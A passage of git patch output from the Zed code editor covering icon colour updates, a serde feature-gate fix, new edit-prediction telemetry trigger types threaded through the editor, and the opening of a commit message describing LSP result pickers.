+<path d="M1.5015 2.54385L14.4985 13.4561" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
 </svg>
diff --git a/assets/icons/user_group.svg b/assets/icons/user_group.svg
index 30d2e5a7eac519..4783f2492a3c57 100644
--- a/assets/icons/user_group.svg
+++ b/assets/icons/user_group.svg
@@ -1,5 +1,6 @@
 <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path d="M6.79118 8.27005C8.27568 8.27005 9.4791 7.06663 9.4791 5.58214C9.4791 4.09765 8.27568 2.89423 6.79118 2.89423C5.30669 2.89423 4.10327 4.09765 4.10327 5.58214C4.10327 7.06663 5.30669 8.27005 6.79118 8.27005Z" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M6.79112 8.60443C4.19441 8.60443 2.08936 10.7095 2.08936 13.3062H11.4929C11.4929 10.7095 9.38784 8.60443 6.79112 8.60443Z" fill="black" fill-opacity="0.15" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M14.6984 12.9263C14.6984 10.8893 13.4895 8.99736 12.2806 8.09067C12.6779 7.79254 12.9957 7.40104 13.2057 6.95083C13.4157 6.50062 13.5115 6.00558 13.4846 5.50952C13.4577 5.01346 13.309 4.53168 13.0515 4.10681C12.7941 3.68194 12.4358 3.3271 12.0085 3.07367" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M6.79118 8.27005C8.27568 8.27005 9.4791 7.06663 9.4791 5.58214C9.4791 4.09765 8.27568 2.89423 6.79118 2.89423C5.30669 2.89423 4.10327 4.09765 4.10327 5.58214C4.10327 7.06663 5.30669 8.27005 6.79118 8.27005Z" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path opacity="0.2" d="M6.79112 8.60443C4.19441 8.60443 2.08936 10.7095 2.08936 13.3062H11.4929C11.4929 10.7095 9.38784 8.60443 6.79112 8.60443Z" fill="#DCE0E5"/>
+<path d="M6.79112 8.60443C4.19441 8.60443 2.08936 10.7095 2.08936 13.3062H11.4929C11.4929 10.7095 9.38784 8.60443 6.79112 8.60443Z" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M14.6984 12.9263C14.6984 10.8893 13.4895 8.99736 12.2806 8.09067C12.6779 7.79254 12.9957 7.40104 13.2057 6.95083C13.4157 6.50062 13.5115 6.00558 13.4846 5.50952C13.4577 5.01346 13.309 4.53168 13.0515 4.10681C12.7941 3.68194 12.4358 3.3271 12.0085 3.07367" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
 </svg>
diff --git a/assets/icons/x_circle.svg b/assets/icons/x_circle.svg
index 8807e5fa1fe691..6cd7912b3a7497 100644
--- a/assets/icons/x_circle.svg
+++ b/assets/icons/x_circle.svg
@@ -1 +1,5 @@
-<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="none"><path fill="#000" fill-opacity=".157" stroke="#000" stroke-linejoin="round" stroke-width="1.2" d="M9.864 3a.5.5 0 0 1 .353.146l2.636 2.636a.5.5 0 0 1 .147.354v3.728a.5.5 0 0 1-.146.353l-2.637 2.637a.5.5 0 0 1-.353.146H6.136a.5.5 0 0 1-.354-.146l-2.636-2.636A.5.5 0 0 1 3 9.864V6.136a.5.5 0 0 1 .146-.354l2.636-2.636A.5.5 0 0 1 6.136 3h3.728Z"/><path stroke="#000" stroke-linecap="round" stroke-width="1.2" d="m9.5 6.5-3 3m3 0-3-3"/></svg>
+<svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
+<path opacity="0.15" d="M9.864 3C9.99635 3.00003 10.1233 3.05253 10.217 3.146L12.853 5.782C12.8996 5.82844 12.9365 5.88361 12.9618 5.94435C12.987 6.0051 13 6.07023 13 6.136V9.864C13 9.99635 12.9475 10.1233 12.854 10.217L10.217 12.854C10.1233 12.9475 9.99635 13 9.864 13H6.136C6.0703 13.0001 6.00521 12.9873 5.94447 12.9622C5.88373 12.9372 5.82852 12.9004 5.782 12.854L3.146 10.218C3.0996 10.1715 3.06282 10.1163 3.03777 10.0555C3.01272 9.99479 2.99988 9.92971 3 9.864V6.136C2.99988 6.0703 3.01272 6.00521 3.03777 5.94447C3.06282 5.88373 3.0996 5.82852 3.146 5.782L5.782 3.146C5.82852 3.0996 5.88373 3.06282 5.94447 3.03777C6.00521 3.01272 6.0703 2.99988 6.136 3H9.864Z" fill="#DCE0E5" stroke="#DCE0E5" stroke-width="1.2" stroke-linejoin="round"/>
+<path d="M9.864 3C9.99635 3.00003 10.1233 3.05253 10.217 3.146L12.853 5.782C12.8996 5.82844 12.9365 5.88361 12.9618 5.94435C12.987 6.0051 13 6.07023 13 6.136V9.864C13 9.99635 12.9475 10.1233 12.854 10.217L10.217 12.854C10.1233 12.9475 9.99635 13 9.864 13H6.136C6.0703 13.0001 6.00521 12.9873 5.94447 12.9622C5.88373 12.9372 5.82852 12.9004 5.782 12.854L3.146 10.218C3.0996 10.1715 3.06282 10.1163 3.03777 10.0555C3.01272 9.99479 2.99988 9.92971 3 9.864V6.136C2.99988 6.0703 3.01272 6.00521 3.03777 5.94447C3.06282 5.88373 3.0996 5.82852 3.146 5.782L5.782 3.146C5.82852 3.0996 5.88373 3.06282 5.94447 3.03777C6.00521 3.01272 6.0703 2.99988 6.136 3H9.864Z" stroke="#DCE0E5" stroke-width="1.2" stroke-linejoin="round"/>
+<path d="M9.5 6.5L6.5 9.5M9.5 9.5L6.5 6.5" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round"/>
+</svg>
diff --git a/assets/icons/zed_agent_two.svg b/assets/icons/zed_agent_two.svg
index c352be84d2f1be..9bf1affcbe1564 100644
--- a/assets/icons/zed_agent_two.svg
+++ b/assets/icons/zed_agent_two.svg
@@ -1,5 +1,5 @@
 <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path d="M6.2224 1.32129L5.2036 4.41875C5.15145 4.57727 5.06282 4.72134 4.94481 4.83934C4.82681 4.95735 4.68274 5.04598 4.52422 5.09813L1.42676 6.11693L4.52422 7.13574C4.68274 7.18788 4.82681 7.27652 4.94481 7.39453C5.06282 7.51253 5.15145 7.6566 5.2036 7.81512L6.2224 10.9126L7.24121 7.81512C7.29335 7.6566 7.38199 7.51253 7.5 7.39453C7.618 7.27652 7.76207 7.18788 7.9206 7.13574L11.018 6.11693L7.9206 5.09813C7.76207 5.04598 7.618 4.95735 7.5 4.83934C7.38199 4.72134 7.29335 4.57727 7.24121 4.41875L6.2224 1.32129Z" fill="black" fill-opacity="0.15" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M9.76681 13.9373C9.76681 13.6048 9.95997 13.3083 10.5126 12.7917L11.8872 11.4978C12.3545 11.0575 12.5612 10.77 12.5612 10.4735C12.5612 10.1411 12.3185 9.91643 11.9681 9.91643C11.6986 9.91643 11.5054 10.0242 11.2673 10.3208C10.9933 10.6622 10.7956 10.779 10.4946 10.779C10.0633 10.779 9.75781 10.4915 9.75781 10.0916C9.75781 9.21559 10.8136 8.44287 12.067 8.44287C13.3743 8.44287 14.3492 9.22907 14.3492 10.2848C14.3492 10.9452 13.9988 11.5742 13.2845 12.2077L12.2242 13.1511V13.223H13.7292C14.2503 13.223 14.5738 13.5015 14.5738 13.9552C14.5738 14.4089 14.2593 14.6785 13.7292 14.6785H10.5979C10.1037 14.6785 9.76681 14.3775 9.76681 13.9373Z" fill="black"/>
-<path d="M12.8994 1.32129V4.00482M11.5576 2.66302H14.2412" stroke="black" stroke-opacity="0.75" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M6.2224 1.32129L5.2036 4.41875C5.15145 4.57727 5.06282 4.72134 4.94481 4.83934C4.82681 4.95735 4.68274 5.04598 4.52422 5.09813L1.42676 6.11693L4.52422 7.13574C4.68274 7.18788 4.82681 7.27652 4.94481 7.39453C5.06282 7.51253 5.15145 7.6566 5.2036 7.81512L6.2224 10.9126L7.24121 7.81512C7.29335 7.6566 7.38199 7.51253 7.5 7.39453C7.618 7.27652 7.76207 7.18788 7.9206 7.13574L11.018 6.11693L7.9206 5.09813C7.76207 5.04598 7.618 4.95735 7.5 4.83934C7.38199 4.72134 7.29335 4.57727 7.24121 4.41875L6.2224 1.32129Z" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M9.76681 13.9373C9.76681 13.6048 9.95997 13.3083 10.5126 12.7917L11.8872 11.4978C12.3545 11.0575 12.5612 10.77 12.5612 10.4735C12.5612 10.1411 12.3185 9.91643 11.9681 9.91643C11.6986 9.91643 11.5054 10.0242 11.2673 10.3208C10.9933 10.6622 10.7956 10.779 10.4946 10.779C10.0633 10.779 9.75781 10.4915 9.75781 10.0916C9.75781 9.21559 10.8136 8.44287 12.067 8.44287C13.3743 8.44287 14.3492 9.22907 14.3492 10.2848C14.3492 10.9452 13.9988 11.5742 13.2845 12.2077L12.2242 13.1511V13.223H13.7292C14.2503 13.223 14.5738 13.5015 14.5738 13.9552C14.5738 14.4089 14.2593 14.6785 13.7292 14.6785H10.5979C10.1037 14.6785 9.76681 14.3775 9.76681 13.9373Z" fill="#DCE0E5"/>
+<path opacity="0.6" d="M12.8994 1.32129V4.00482M11.5576 2.66302H14.2412" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
 </svg>
diff --git a/assets/icons/zed_assistant.svg b/assets/icons/zed_assistant.svg
index 812277a100b7e6..8eb906b2657b05 100644
--- a/assets/icons/zed_assistant.svg
+++ b/assets/icons/zed_assistant.svg
@@ -1,5 +1,5 @@
 <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path d="M8 2.93652L6.9243 6.20697C6.86924 6.37435 6.77565 6.52646 6.65105 6.65105C6.52646 6.77565 6.37435 6.86924 6.20697 6.9243L2.93652 8L6.20697 9.0757C6.37435 9.13076 6.52646 9.22435 6.65105 9.34895C6.77565 9.47354 6.86924 9.62565 6.9243 9.79306L8 13.0635L9.0757 9.79306C9.13076 9.62565 9.22435 9.47354 9.34895 9.34895C9.47354 9.22435 9.62565 9.13076 9.79306 9.0757L13.0635 8L9.79306 6.9243C9.62565 6.86924 9.47354 6.77565 9.34895 6.65105C9.22435 6.52646 9.13076 6.37435 9.0757 6.20697L8 2.93652Z" fill="black" fill-opacity="0.15" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M3.33334 2V4.66666M2 3.33334H4.66666" stroke="black" stroke-opacity="0.75" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M12.6665 11.3333V14M11.3333 12.6666H13.9999" stroke="black" stroke-opacity="0.75" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M8 2.93652L6.9243 6.20697C6.86924 6.37435 6.77565 6.52646 6.65105 6.65105C6.52646 6.77565 6.37435 6.86924 6.20697 6.9243L2.93652 8L6.20697 9.0757C6.37435 9.13076 6.52646 9.22435 6.65105 9.34895C6.77565 9.47354 6.86924 9.62565 6.9243 9.79306L8 13.0635L9.0757 9.79306C9.13076 9.62565 9.22435 9.47354 9.34895 9.34895C9.47354 9.22435 9.62565 9.13076 9.79306 9.0757L13.0635 8L9.79306 6.9243C9.62565 6.86924 9.47354 6.77565 9.34895 6.65105C9.22435 6.52646 9.13076 6.37435 9.0757 6.20697L8 2.93652Z" fill="black" fill-opacity="0.15" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path opacity="0.6" d="M3.33334 2V4.66666M2 3.33334H4.66666" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path opacity="0.6" d="M12.6665 11.3333V14M11.3333 12.6666H13.9999" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
 </svg>

From b5fa67cfb31e0f754eb83d1e7918b93f6b15500c Mon Sep 17 00:00:00 2001
From: Lukas Wirth <lukas@zed.dev>
Date: Wed, 15 Jul 2026 14:17:10 +0200
Subject: [PATCH 480/772] path: Fix unconditional use of `serde` in `path`
 crate (#61037)

Release Notes:

- N/A or Added/Fixed/Improved ...
---
 crates/path/src/rel_path.rs | 1 +
 1 file changed, 1 insertion(+)

diff --git a/crates/path/src/rel_path.rs b/crates/path/src/rel_path.rs
index 357fcb82056a45..80d1d96f338738 100644
--- a/crates/path/src/rel_path.rs
+++ b/crates/path/src/rel_path.rs
@@ -597,6 +597,7 @@ impl<'a> DoubleEndedIterator for RelPathComponents<'a> {
     }
 }
 
+#[cfg(feature = "serde")]
 impl<'de> serde::Deserialize<'de> for RelPathBuf {
     fn deserialize<D>(deserializer: D) -> std::result::Result<Self, D::Error>
     where

From eb0e870042f39dfbe924a9507773e9a8d9db60bd Mon Sep 17 00:00:00 2001
From: Ben Kunkle <ben@zed.dev>
Date: Wed, 15 Jul 2026 08:14:36 -0500
Subject: [PATCH 481/772] Classify edit prediction lifecycle triggers (#60983)

# Objective

Closes EP-89

- Replace ambiguous `Other` edit prediction telemetry for known editor
lifecycle events.

## Solution

- Classify editor creation, provider changes, user information changes,
Vim mode changes, and settings changes through the existing trigger
pipeline.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- N/A
---
 .../cloud_llm_client/src/cloud_llm_client.rs  |  5 +++
 .../src/copilot_edit_prediction_delegate.rs   | 42 ++++++++++++++++---
 crates/edit_prediction/src/edit_prediction.rs | 11 +++++
 .../src/edit_prediction_types.rs              |  5 +++
 .../src/rate_prediction_modal.rs              | 13 ++++++
 crates/editor/src/edit_prediction.rs          | 11 ++---
 crates/editor/src/edit_prediction_tests.rs    | 21 ++++++++--
 crates/editor/src/editor.rs                   |  8 +++-
 crates/editor/src/editor_tests.rs             |  7 +++-
 .../zed/src/zed/edit_prediction_registry.rs   | 20 ++++++---
 10 files changed, 118 insertions(+), 25 deletions(-)

diff --git a/crates/cloud_llm_client/src/cloud_llm_client.rs b/crates/cloud_llm_client/src/cloud_llm_client.rs
index adbcffe9be81eb..167507e86a389d 100644
--- a/crates/cloud_llm_client/src/cloud_llm_client.rs
+++ b/crates/cloud_llm_client/src/cloud_llm_client.rs
@@ -131,6 +131,11 @@ pub enum PredictEditsRequestTrigger {
     LSPCompletionAccepted,
     PredictionAccepted,
     PredictionPartiallyAccepted,
+    EditorCreated,
+    ProviderChanged,
+    UserInfoChanged,
+    VimModeChanged,
+    SettingsChanged,
     #[default]
     Other,
 }
diff --git a/crates/copilot/src/copilot_edit_prediction_delegate.rs b/crates/copilot/src/copilot_edit_prediction_delegate.rs
index d295d94198f5b7..85446c47928000 100644
--- a/crates/copilot/src/copilot_edit_prediction_delegate.rs
+++ b/crates/copilot/src/copilot_edit_prediction_delegate.rs
@@ -283,7 +283,12 @@ mod tests {
         .await;
         let copilot_provider = cx.new(|_| CopilotEditPredictionDelegate::new(copilot));
         cx.update_editor(|editor, window, cx| {
-            editor.set_edit_prediction_provider(Some(copilot_provider), window, cx)
+            editor.set_edit_prediction_provider(
+                Some(copilot_provider),
+                EditPredictionRequestTrigger::EditorCreated,
+                window,
+                cx,
+            )
         });
 
         cx.set_state(indoc! {"
@@ -491,7 +496,12 @@ mod tests {
         .await;
         let copilot_provider = cx.new(|_| CopilotEditPredictionDelegate::new(copilot));
         cx.update_editor(|editor, window, cx| {
-            editor.set_edit_prediction_provider(Some(copilot_provider), window, cx)
+            editor.set_edit_prediction_provider(
+                Some(copilot_provider),
+                EditPredictionRequestTrigger::EditorCreated,
+                window,
+                cx,
+            )
         });
 
         // Setup the editor with a completion request.
@@ -623,7 +633,12 @@ mod tests {
         .await;
         let copilot_provider = cx.new(|_| CopilotEditPredictionDelegate::new(copilot));
         cx.update_editor(|editor, window, cx| {
-            editor.set_edit_prediction_provider(Some(copilot_provider), window, cx)
+            editor.set_edit_prediction_provider(
+                Some(copilot_provider),
+                EditPredictionRequestTrigger::EditorCreated,
+                window,
+                cx,
+            )
         });
 
         cx.set_state(indoc! {"
@@ -718,7 +733,12 @@ mod tests {
         });
         let copilot_provider = cx.new(|_| CopilotEditPredictionDelegate::new(copilot));
         editor.update_in(cx, |editor, window, cx| {
-            editor.set_edit_prediction_provider(Some(copilot_provider), window, cx)
+            editor.set_edit_prediction_provider(
+                Some(copilot_provider),
+                EditPredictionRequestTrigger::EditorCreated,
+                window,
+                cx,
+            )
         });
 
         handle_copilot_completion_request(
@@ -848,7 +868,12 @@ mod tests {
         .await;
         let copilot_provider = cx.new(|_| CopilotEditPredictionDelegate::new(copilot));
         cx.update_editor(|editor, window, cx| {
-            editor.set_edit_prediction_provider(Some(copilot_provider), window, cx)
+            editor.set_edit_prediction_provider(
+                Some(copilot_provider),
+                EditPredictionRequestTrigger::EditorCreated,
+                window,
+                cx,
+            )
         });
 
         cx.set_state(indoc! {"
@@ -1014,7 +1039,12 @@ mod tests {
         let copilot_provider = cx.new(|_| CopilotEditPredictionDelegate::new(copilot));
         editor
             .update(cx, |editor, window, cx| {
-                editor.set_edit_prediction_provider(Some(copilot_provider), window, cx)
+                editor.set_edit_prediction_provider(
+                    Some(copilot_provider),
+                    EditPredictionRequestTrigger::EditorCreated,
+                    window,
+                    cx,
+                )
             })
             .unwrap();
 
diff --git a/crates/edit_prediction/src/edit_prediction.rs b/crates/edit_prediction/src/edit_prediction.rs
index cef4a63e33c8bb..965d8bc2699171 100644
--- a/crates/edit_prediction/src/edit_prediction.rs
+++ b/crates/edit_prediction/src/edit_prediction.rs
@@ -929,6 +929,17 @@ fn predict_edits_request_trigger_from_editor_trigger(
         EditPredictionRequestTrigger::PredictionPartiallyAccepted => {
             PredictEditsRequestTrigger::PredictionPartiallyAccepted
         }
+        EditPredictionRequestTrigger::EditorCreated => PredictEditsRequestTrigger::EditorCreated,
+        EditPredictionRequestTrigger::ProviderChanged => {
+            PredictEditsRequestTrigger::ProviderChanged
+        }
+        EditPredictionRequestTrigger::UserInfoChanged => {
+            PredictEditsRequestTrigger::UserInfoChanged
+        }
+        EditPredictionRequestTrigger::VimModeChanged => PredictEditsRequestTrigger::VimModeChanged,
+        EditPredictionRequestTrigger::SettingsChanged => {
+            PredictEditsRequestTrigger::SettingsChanged
+        }
         EditPredictionRequestTrigger::Other => PredictEditsRequestTrigger::Other,
     }
 }
diff --git a/crates/edit_prediction_types/src/edit_prediction_types.rs b/crates/edit_prediction_types/src/edit_prediction_types.rs
index bcd1f5d8e62ef5..0a8f3de7dd989a 100644
--- a/crates/edit_prediction_types/src/edit_prediction_types.rs
+++ b/crates/edit_prediction_types/src/edit_prediction_types.rs
@@ -17,6 +17,11 @@ pub enum EditPredictionRequestTrigger {
     LSPCompletionAccepted,
     PredictionAccepted,
     PredictionPartiallyAccepted,
+    EditorCreated,
+    ProviderChanged,
+    UserInfoChanged,
+    VimModeChanged,
+    SettingsChanged,
     #[default]
     Other,
 }
diff --git a/crates/edit_prediction_ui/src/rate_prediction_modal.rs b/crates/edit_prediction_ui/src/rate_prediction_modal.rs
index e9d36860852b7d..23607042c7ba54 100644
--- a/crates/edit_prediction_ui/src/rate_prediction_modal.rs
+++ b/crates/edit_prediction_ui/src/rate_prediction_modal.rs
@@ -1249,6 +1249,19 @@ impl RatePredictionsModal {
                     PredictEditsRequestTrigger::PredictionPartiallyAccepted => {
                         (IconName::CheckDouble, "Prediction Partially Accepted")
                     }
+                    PredictEditsRequestTrigger::EditorCreated => (IconName::File, "Editor Created"),
+                    PredictEditsRequestTrigger::ProviderChanged => {
+                        (IconName::Settings, "Provider Changed")
+                    }
+                    PredictEditsRequestTrigger::UserInfoChanged => {
+                        (IconName::Person, "User Info Changed")
+                    }
+                    PredictEditsRequestTrigger::VimModeChanged => {
+                        (IconName::Keyboard, "Vim Mode Changed")
+                    }
+                    PredictEditsRequestTrigger::SettingsChanged => {
+                        (IconName::Settings, "Settings Changed")
+                    }
                     PredictEditsRequestTrigger::Other => (IconName::CircleHelp, "Other"),
                 };
 
diff --git a/crates/editor/src/edit_prediction.rs b/crates/editor/src/edit_prediction.rs
index dd57f5cb1d6c0a..88db5a8c9239e7 100644
--- a/crates/editor/src/edit_prediction.rs
+++ b/crates/editor/src/edit_prediction.rs
@@ -152,6 +152,7 @@ impl Editor {
     pub fn set_edit_prediction_provider<T>(
         &mut self,
         provider: Option<Entity<T>>,
+        trigger: EditPredictionRequestTrigger,
         window: &mut Window,
         cx: &mut Context<Self>,
     ) where
@@ -166,13 +167,7 @@ impl Editor {
             provider: Arc::new(provider),
         });
         self.update_edit_prediction_settings(cx);
-        self.refresh_edit_prediction(
-            false,
-            false,
-            EditPredictionRequestTrigger::Other,
-            window,
-            cx,
-        );
+        self.refresh_edit_prediction(false, false, trigger, window, cx);
     }
 
     pub fn set_edit_predictions_hidden_for_vim_mode(
@@ -189,7 +184,7 @@ impl Editor {
                 self.refresh_edit_prediction(
                     true,
                     false,
-                    EditPredictionRequestTrigger::Other,
+                    EditPredictionRequestTrigger::VimModeChanged,
                     window,
                     cx,
                 );
diff --git a/crates/editor/src/edit_prediction_tests.rs b/crates/editor/src/edit_prediction_tests.rs
index 24ac960b916b81..21922ce7ae1379 100644
--- a/crates/editor/src/edit_prediction_tests.rs
+++ b/crates/editor/src/edit_prediction_tests.rs
@@ -773,7 +773,12 @@ async fn test_edit_prediction_preview_does_not_hide_code_actions_on_modifier_pre
 
     let provider = cx.new(|_| FakeEditPredictionDelegate::default());
     cx.update_editor(|editor, window, cx| {
-        editor.set_edit_prediction_provider(Some(provider.clone()), window, cx);
+        editor.set_edit_prediction_provider(
+            Some(provider.clone()),
+            EditPredictionRequestTrigger::EditorCreated,
+            window,
+            cx,
+        );
     });
 
     let snapshot = cx.buffer_snapshot();
@@ -1634,7 +1639,12 @@ fn assign_editor_completion_provider(
     cx: &mut EditorTestContext,
 ) {
     cx.update_editor(|editor, window, cx| {
-        editor.set_edit_prediction_provider(Some(provider), window, cx);
+        editor.set_edit_prediction_provider(
+            Some(provider),
+            EditPredictionRequestTrigger::EditorCreated,
+            window,
+            cx,
+        );
     })
 }
 
@@ -1672,7 +1682,12 @@ fn assign_editor_completion_provider_non_zed(
     cx: &mut EditorTestContext,
 ) {
     cx.update_editor(|editor, window, cx| {
-        editor.set_edit_prediction_provider(Some(provider), window, cx);
+        editor.set_edit_prediction_provider(
+            Some(provider),
+            EditPredictionRequestTrigger::EditorCreated,
+            window,
+            cx,
+        );
     })
 }
 
diff --git a/crates/editor/src/editor.rs b/crates/editor/src/editor.rs
index a09b4096e16c35..0e2e4d635b4053 100644
--- a/crates/editor/src/editor.rs
+++ b/crates/editor/src/editor.rs
@@ -9770,7 +9770,13 @@ impl Editor {
         }
         self.refresh_runnables(None, window, cx);
         self.update_edit_prediction_settings(cx);
-        self.refresh_edit_prediction(true, false, EditPredictionRequestTrigger::Other, window, cx);
+        self.refresh_edit_prediction(
+            true,
+            false,
+            EditPredictionRequestTrigger::SettingsChanged,
+            window,
+            cx,
+        );
         self.refresh_inline_values(cx);
 
         let old_cursor_shape = self.cursor_shape;
diff --git a/crates/editor/src/editor_tests.rs b/crates/editor/src/editor_tests.rs
index 8e933079c72b63..b90054064ae2ff 100644
--- a/crates/editor/src/editor_tests.rs
+++ b/crates/editor/src/editor_tests.rs
@@ -11559,7 +11559,12 @@ async fn test_undo_edit_prediction_scrolls_to_edit_pos(cx: &mut TestAppContext)
 
     let provider = cx.new(|_| FakeEditPredictionDelegate::default());
     cx.update_editor(|editor, window, cx| {
-        editor.set_edit_prediction_provider(Some(provider.clone()), window, cx);
+        editor.set_edit_prediction_provider(
+            Some(provider.clone()),
+            EditPredictionRequestTrigger::EditorCreated,
+            window,
+            cx,
+        );
     });
 
     cx.set_state(indoc! {"
diff --git a/crates/zed/src/zed/edit_prediction_registry.rs b/crates/zed/src/zed/edit_prediction_registry.rs
index f0968bf9efe0e1..616063431b64c5 100644
--- a/crates/zed/src/zed/edit_prediction_registry.rs
+++ b/crates/zed/src/zed/edit_prediction_registry.rs
@@ -3,7 +3,7 @@ use codestral::{CodestralEditPredictionDelegate, load_codestral_api_key};
 use collections::HashMap;
 use copilot::CopilotEditPredictionDelegate;
 use edit_prediction::{EditPredictionModel, ZedEditPredictionDelegate};
-use editor::Editor;
+use editor::{EditPredictionRequestTrigger, Editor};
 use gpui::{AnyWindowHandle, App, AppContext as _, Context, Entity, WeakEntity};
 use language::{
     ZetaVersion,
@@ -52,6 +52,7 @@ pub fn init(client: Arc<Client>, user_store: Entity<UserStore>, cx: &mut App) {
             assign_edit_prediction_provider(
                 editor,
                 provider_config,
+                EditPredictionRequestTrigger::EditorCreated,
                 &client,
                 user_store.clone(),
                 window,
@@ -74,6 +75,7 @@ pub fn init(client: Arc<Client>, user_store: Entity<UserStore>, cx: &mut App) {
                 assign_edit_prediction_providers(
                     &editors,
                     provider_config,
+                    EditPredictionRequestTrigger::UserInfoChanged,
                     &client,
                     user_store,
                     cx,
@@ -100,6 +102,7 @@ pub fn init(client: Arc<Client>, user_store: Entity<UserStore>, cx: &mut App) {
                 assign_edit_prediction_providers(
                     &editors,
                     new_provider_config,
+                    EditPredictionRequestTrigger::ProviderChanged,
                     &client,
                     user_store.clone(),
                     cx,
@@ -201,6 +204,7 @@ fn clear_edit_prediction_store_edit_history(_: &edit_prediction::ClearHistory, c
 fn assign_edit_prediction_providers(
     editors: &Rc<RefCell<HashMap<WeakEntity<Editor>, AnyWindowHandle>>>,
     provider_config: Option<EditPredictionProviderConfig>,
+    trigger: EditPredictionRequestTrigger,
     client: &Arc<Client>,
     user_store: Entity<UserStore>,
     cx: &mut App,
@@ -214,6 +218,7 @@ fn assign_edit_prediction_providers(
                 assign_edit_prediction_provider(
                     editor,
                     provider_config,
+                    trigger,
                     client,
                     user_store.clone(),
                     window,
@@ -240,6 +245,7 @@ fn register_backward_compatible_actions(editor: &mut Editor, cx: &mut Context<Ed
 fn assign_edit_prediction_provider(
     editor: &mut Editor,
     provider_config: Option<EditPredictionProviderConfig>,
+    trigger: EditPredictionRequestTrigger,
     client: &Arc<Client>,
     user_store: Entity<UserStore>,
     window: &mut Window,
@@ -250,7 +256,9 @@ fn assign_edit_prediction_provider(
 
     match provider_config {
         None => {
-            editor.set_edit_prediction_provider::<ZedEditPredictionDelegate>(None, window, cx);
+            editor.set_edit_prediction_provider::<ZedEditPredictionDelegate>(
+                None, trigger, window, cx,
+            );
         }
         Some(EditPredictionProviderConfig::Copilot) => {
             let ep_store = edit_prediction::EditPredictionStore::global(client, &user_store, cx);
@@ -267,13 +275,13 @@ fn assign_edit_prediction_provider(
                     });
                 }
                 let provider = cx.new(|_| CopilotEditPredictionDelegate::new(copilot));
-                editor.set_edit_prediction_provider(Some(provider), window, cx);
+                editor.set_edit_prediction_provider(Some(provider), trigger, window, cx);
             }
         }
         Some(EditPredictionProviderConfig::Codestral) => {
             let http_client = client.http_client();
             let provider = cx.new(|_| CodestralEditPredictionDelegate::new(http_client));
-            editor.set_edit_prediction_provider(Some(provider), window, cx);
+            editor.set_edit_prediction_provider(Some(provider), trigger, window, cx);
         }
         Some(EditPredictionProviderConfig::Zed(model)) => {
             let ep_store = edit_prediction::EditPredictionStore::global(client, &user_store, cx);
@@ -283,7 +291,7 @@ fn assign_edit_prediction_provider(
             {
                 if !organization_configuration.edit_prediction.is_enabled {
                     editor.set_edit_prediction_provider::<ZedEditPredictionDelegate>(
-                        None, window, cx,
+                        None, trigger, window, cx,
                     );
 
                     return;
@@ -307,7 +315,7 @@ fn assign_edit_prediction_provider(
                         cx,
                     )
                 });
-                editor.set_edit_prediction_provider(Some(provider), window, cx);
+                editor.set_edit_prediction_provider(Some(provider), trigger, window, cx);
             }
         }
     }

From 63692b8b4724357fa63d6318b45f3c3fee6f672a Mon Sep 17 00:00:00 2001
From: David <dbkegley@users.noreply.github.com>
Date: Wed, 15 Jul 2026 10:36:43 -0400
Subject: [PATCH 482/772] search: Add LSP location pickers for references,
 definitions, and diagnostics (#59838)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

# Objective

Closes #59829

Provide a filterable, preview-backed picker for LSP results as an
alternative to the multi-buffer view, for references, definitions,
implementations.

## Solution

Update the 3 existing LSP actions (definitions, implementations, find
all references) to add a `open_results_in` parameter which accepts
either `multi_buffer` (default) or `picker` to show the results in a
filterable picker with preview. This behavior can be configured globally
in the settings via `lsp_results_location`.

UX:

- The 3 existing LSP actions each accept a `open_results_in` parameter
so that each action can be configuring individually with a custom
keybind
- The `lsp_results_location` global setting can be used to set a default
behavior with `open_results_in == None`
- Go to definition falls back to find all references (if configured) on
empty results which is consistent with the non-picker path
- Results are grouped by file; each row shows the line number and the
syntax-highlighted source line with the match emphasized.
- Typing filters by line text or path; the preview updates with the
selection.
- Enter/click opens the selection, `cmd/ctrl-enter` opens it in a split,
and re-invoking the command toggles the picker closed.
- Empty results show a toast so the command never silently does nothing.
- Note: the new pickers do not open on cmd-click, only when invoked via
the command palette or keybind

## Testing

- No automated tests yet — holding for first-round feedback on the
